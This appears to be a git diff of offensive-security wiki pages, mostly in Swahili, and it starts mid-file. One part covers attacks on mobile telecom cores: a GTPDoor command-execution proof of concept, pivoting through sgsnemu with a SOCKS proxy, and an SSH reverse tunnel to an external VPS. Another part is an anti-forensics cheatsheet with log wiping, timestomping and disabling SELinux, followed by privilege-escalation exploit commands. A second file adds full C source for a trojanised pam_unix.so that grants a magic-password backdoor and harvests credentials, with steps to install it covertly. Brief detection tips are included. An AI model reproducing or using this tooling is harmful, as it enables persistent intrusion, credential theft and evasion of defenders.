`--imsi` Lengo la mteja IMSI +- `--oper` Nyumbani / HNI (MCC+MNC) +- `-w` Andika pakiti za raw kwenye pcap + +Misingi muhimu ndani ya binary inaweza kubadilishwa ili kupanua skana: +``` +pingtimeout = 3 // seconds before giving up +pco = 0x218080 +common_tcp_ports = "22,23,80,443,8080" +``` +## 3. Utekelezaji wa Kanuni kupitia GTP – `GTPDoor` + +`GTPDoor` ni huduma ndogo ya ELF ambayo **inafungua UDP 2123 na kuchambua kila pakiti ya GTP-C inayokuja**. Wakati mzigo unapoanza na lebo iliyoshirikiwa awali, yaliyobaki yanakunjwa (AES-128-CBC) na kutekelezwa kupitia `/bin/sh -c`. Stdout/stderr zinahamishwa ndani ya **Echo Response** ujumbe ili kwamba hakuna kikao cha nje kinachoundwa. + +Minimal PoC packet (Python): +```python +import gtpc, Crypto.Cipher.AES as AES +key = b"SixteenByteKey!" +cmd = b"id;uname -a" +enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) +print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) +``` +Detection: +* mwenyeji yeyote anayepeleka **Maombi ya Echo yasiyo sawa** kwa IP za SGSN +* Bendera ya toleo la GTP imewekwa kuwa 1 wakati aina ya ujumbe = 1 (Echo) – mabadiliko kutoka kwa spesifiki + +## 4. Pivoting Through the Core + +### 4.1 `sgsnemu` + SOCKS5 +`OsmoGGSN` inatoa emulators ya SGSN inayoweza **kuanzisha muktadha wa PDP kuelekea GGSN/PGW halisi**. Mara baada ya kujadiliwa, Linux inapokea kiunganishi kipya cha `tun0` kinachoweza kufikiwa kutoka kwa mwenzi wa roaming. +```bash +sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ +-APN internet -c 1 -d +ip route add 172.16.0.0/12 dev tun0 +microsocks -p 1080 & # internal SOCKS proxy +``` +Kwa matumizi sahihi ya firewall hair-pinning, tunnel hii inapita VLANs za ishara pekee na inakufikisha moja kwa moja kwenye **data plane**. + +### 4.2 SSH Reverse Tunnel juu ya Port 53 +DNS karibu kila wakati iko wazi katika miundombinu ya kuhamahama. Funua huduma ya ndani ya SSH kwa VPS yako inayosikiliza kwenye :53 na urudi baadaye kutoka nyumbani: +```bash +ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com +``` +Check that `GatewayPorts yes` is enabled on the VPS. + +## 5. Covert Channels + +| Channel | Transport | Decoding | Notes | +|---------|-----------|----------|-------| +| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | msikivu safi, hakuna trafiki ya nje | +| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | inatazama `*.nodep` sub-domain | +| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | inachanganyika na mazungumzo halali ya GTP-C | + +All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed. + +## 6. Defense Evasion Cheatsheet +```bash +# Remove attacker IPs from wtmp +utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp + +# Disable bash history +export HISTFILE=/dev/null + +# Masquerade as kernel thread +echo 0 > /proc/$$/autogroup # hide from top/htop +printf '\0' > /proc/$$/comm # appears as [kworker/1] + +touch -r /usr/bin/time /usr/bin/chargen # timestomp +setenforce 0 # disable SELinux +``` +## 7. Kuinua Haki kwenye NE za Kizamani +```bash +# DirtyCow – CVE-2016-5195 +gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd + +# PwnKit – CVE-2021-4034 +python3 PwnKit.py + +# Sudo Baron Samedit – CVE-2021-3156 +python3 exploit_userspec.py +``` +Usafishaji wa vidokezo: +```bash +userdel firefart 2>/dev/null +rm -f /tmp/sh ; history -c +``` +## 8. Sanduku la Zana + +* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – zana maalum zilizoelezwa katika sehemu za awali. +* `FScan` : skanning ya TCP ya intranet (`fscan -p 22,80,443 10.0.0.0/24`) +* `Responder` : LLMNR/NBT-NS rogue WPAD +* `Microsocks` + `ProxyChains` : pivoting nyepesi ya SOCKS5 +* `FRP` (≥0.37) : NAT traversal / bridging ya mali + +--- +## Mawazo ya Kugundua +1. **Kila kifaa kingine isipokuwa SGSN/GGSN kinachounda Maombi ya Kuunda Muktadha wa PDP**. +2. **Ports zisizo za kawaida (53, 80, 443) zinazo pokea mikono ya SSH** kutoka kwa IP za ndani. +3. **Maombi ya Echo ya Mara kwa Mara bila Majibu ya Echo yanayolingana** – yanaweza kuashiria beacon za GTPDoor. +4. **Kiwango cha juu cha trafiki ya ICMP echo-reply yenye viwanja vikubwa, visivyo na sifuri vya kitambulisho/mfuatano**. + +## Marejeo + +- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) +- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) +- 3GPP TS 29.281 – GTPv2-C (v17.6.0) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md b/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md index 1c246be80..8d73ef0fd 100644 --- a/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md +++ b/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md @@ -4,12 +4,12 @@ ### Basic Information -**PAM (Pluggable Authentication Modules)** inafanya kazi kama mekanizma ya usalama ambayo **inasimamia utambulisho wa watumiaji wanaojaribu kufikia huduma za kompyuta**, ikidhibiti ufikiaji wao kulingana na vigezo mbalimbali. Ni kama mlango wa kidijitali, kuhakikisha kwamba ni watumiaji walioidhinishwa pekee wanaweza kushiriki na huduma maalum huku wakipunguza matumizi yao ili kuzuia mzigo wa mfumo. +**PAM (Pluggable Authentication Modules)** inafanya kazi kama mekanizma ya usalama ambayo **inasimamia utambulisho wa watumiaji wanaojaribu kufikia huduma za kompyuta**, ikidhibiti ufikiaji wao kulingana na vigezo mbalimbali. Ni kama mlango wa kidijitali, ikihakikisha kwamba ni watumiaji walioidhinishwa pekee wanaweza kushiriki na huduma maalum huku ikipunguza matumizi yao ili kuzuia mzigo wa mfumo. #### Configuration Files - **Mifumo ya Solaris na UNIX** kwa kawaida hutumia faili moja kuu ya usanidi iliyoko katika `/etc/pam.conf`. -- **Mifumo ya Linux** hupendelea njia ya directory, ikihifadhi usanidi maalum wa huduma ndani ya `/etc/pam.d`. Kwa mfano, faili ya usanidi kwa huduma ya kuingia inapatikana katika `/etc/pam.d/login`. +- **Mifumo ya Linux** hupendelea njia ya directory, ikihifadhi usanidi maalum wa huduma ndani ya `/etc/pam.d`. Kwa mfano, faili ya usanidi wa huduma ya kuingia inapatikana katika `/etc/pam.d/login`. Mfano wa usanidi wa PAM kwa huduma ya kuingia unaweza kuonekana kama ifuatavyo: ``` @@ -24,30 +24,85 @@ password required /lib/security/pam_ldap.so password required /lib/security/pam_pwdb.so use_first_pass session required /lib/security/pam_unix_session.so ``` -#### **Mifumo ya Usimamizi wa PAM** +#### **PAM Usimamizi wa Mifumo** -Mifumo hii, au vikundi vya usimamizi, inajumuisha **auth**, **account**, **password**, na **session**, kila moja ikiwa na jukumu tofauti katika mchakato wa uthibitishaji na usimamizi wa kikao: +Mifumo hii, au vikundi vya usimamizi, vinajumuisha **auth**, **account**, **password**, na **session**, kila moja ikiwa na jukumu tofauti katika mchakato wa uthibitishaji na usimamizi wa kikao: - **Auth**: Inathibitisha utambulisho wa mtumiaji, mara nyingi kwa kuomba nenosiri. - **Account**: Inashughulikia uthibitishaji wa akaunti, ikikagua hali kama uanachama wa kikundi au vizuizi vya wakati wa siku. - **Password**: Inasimamia masasisho ya nenosiri, ikiwa ni pamoja na ukaguzi wa ugumu au kuzuia mashambulizi ya kamusi. -- **Session**: Inasimamia vitendo wakati wa kuanza au kumaliza kikao cha huduma, kama vile kuunganisha saraka au kuweka mipaka ya rasilimali. +- **Session**: Inasimamia vitendo wakati wa kuanza au kumaliza kikao cha huduma, kama vile kuunganisha directories au kuweka mipaka ya rasilimali. #### **Udhibiti wa Moduli za PAM** Udhibiti unatoa mwitikio wa moduli kwa mafanikio au kushindwa, ukihusisha mchakato mzima wa uthibitishaji. Hizi ni pamoja na: -- **Required**: Kushindwa kwa moduli inayohitajika kunasababisha kushindwa kwa mwisho, lakini tu baada ya moduli zote zinazofuata kukaguliwa. -- **Requisite**: Kumaliza mchakato mara moja baada ya kushindwa. -- **Sufficient**: Mafanikio yanakwepa ukaguzi wa moduli zingine za eneo hilo isipokuwa moduli inayofuata ikishindwa. +- **Required**: Kushindwa kwa moduli inayohitajika kunasababisha kushindwa kwa jumla, lakini tu baada ya moduli zote zinazofuata kukaguliwa. +- **Requisite**: Kumaliza mara moja mchakato baada ya kushindwa. +- **Sufficient**: Mafanikio yanakwepa ukaguzi wa moduli zingine za mfumo huo isipokuwa moduli inayofuata ikishindwa. - **Optional**: Inasababisha kushindwa tu ikiwa ndiyo moduli pekee katika safu. #### Mfano wa Hali Katika usanidi wenye moduli nyingi za uthibitishaji, mchakato unafuata mpangilio mkali. Ikiwa moduli ya `pam_securetty` inakuta terminal ya kuingia haina ruhusa, kuingia kwa root kunazuiwa, lakini moduli zote bado zinashughulikiwa kutokana na hadhi yake ya "required". Moduli ya `pam_env` inaweka mabadiliko ya mazingira, ambayo yanaweza kusaidia katika uzoefu wa mtumiaji. Moduli za `pam_ldap` na `pam_unix` zinafanya kazi pamoja kuthibitisha mtumiaji, huku `pam_unix` ikijaribu kutumia nenosiri lililotolewa awali, ikiongeza ufanisi na kubadilika katika mbinu za uthibitishaji. -### Marejeleo +## Kuweka Nyuma PAM – Kuunganisha `pam_unix.so` + +Njia ya jadi ya kudumu katika mazingira ya Linux yenye thamani kubwa ni **kubadilisha maktaba halali ya PAM na trojanised drop-in**. Kwa sababu kila kuingia kwa SSH / console huishia kuita `pam_unix.so:pam_sm_authenticate()`, mistari michache ya C inatosha kukamata akidi au kutekeleza *magic* password bypass. + +### Cheatsheet ya Uundaji +```c +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +static int (*orig)(pam_handle_t *, int, int, const char **); +static const char *MAGIC = "Sup3rS3cret!"; + +int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { +const char *user, *pass; +pam_get_user(pamh, &user, NULL); +pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL); + +/* Magic pwd → immediate success */ +if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS; + +/* Credential harvesting */ +int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600); +dprintf(fd, "%s:%s\n", user, pass); +close(fd); + +/* Fall back to original function */ +if(!orig) { +orig = dlsym(RTLD_NEXT, "pam_sm_authenticate"); +} +return orig(pamh, flags, argc, argv); +} +``` +Kusanya na kubadilisha kwa siri: +```bash +gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam +mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak +mv pam_unix.so /lib/security/pam_unix.so +chmod 644 /lib/security/pam_unix.so # keep original perms +touch -r /bin/ls /lib/security/pam_unix.so # timestomp +``` +### OpSec Tips +1. **Atomic overwrite** – andika kwenye faili ya muda na `mv` kuhamasisha ili kuepuka maktaba zilizoandikwa nusu ambazo zingezuia SSH. +2. Mahali pa faili za log kama `/usr/bin/.dbus.log` yanachanganyika na vitu halali vya desktop. +3. Hifadhi usafirishaji wa alama kuwa sawa (`pam_sm_setcred`, nk.) ili kuepuka tabia mbaya ya PAM. + +### Detection +* Linganisha MD5/SHA256 ya `pam_unix.so` dhidi ya pakiti ya distro. +* Angalia kwa umiliki wa dunia unaoweza kuandikwa au usio wa kawaida chini ya `/lib/security/`. +* `auditd` sheria: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`. + +### References - [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) +- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) {{#include ../../banners/hacktricks-training.md}}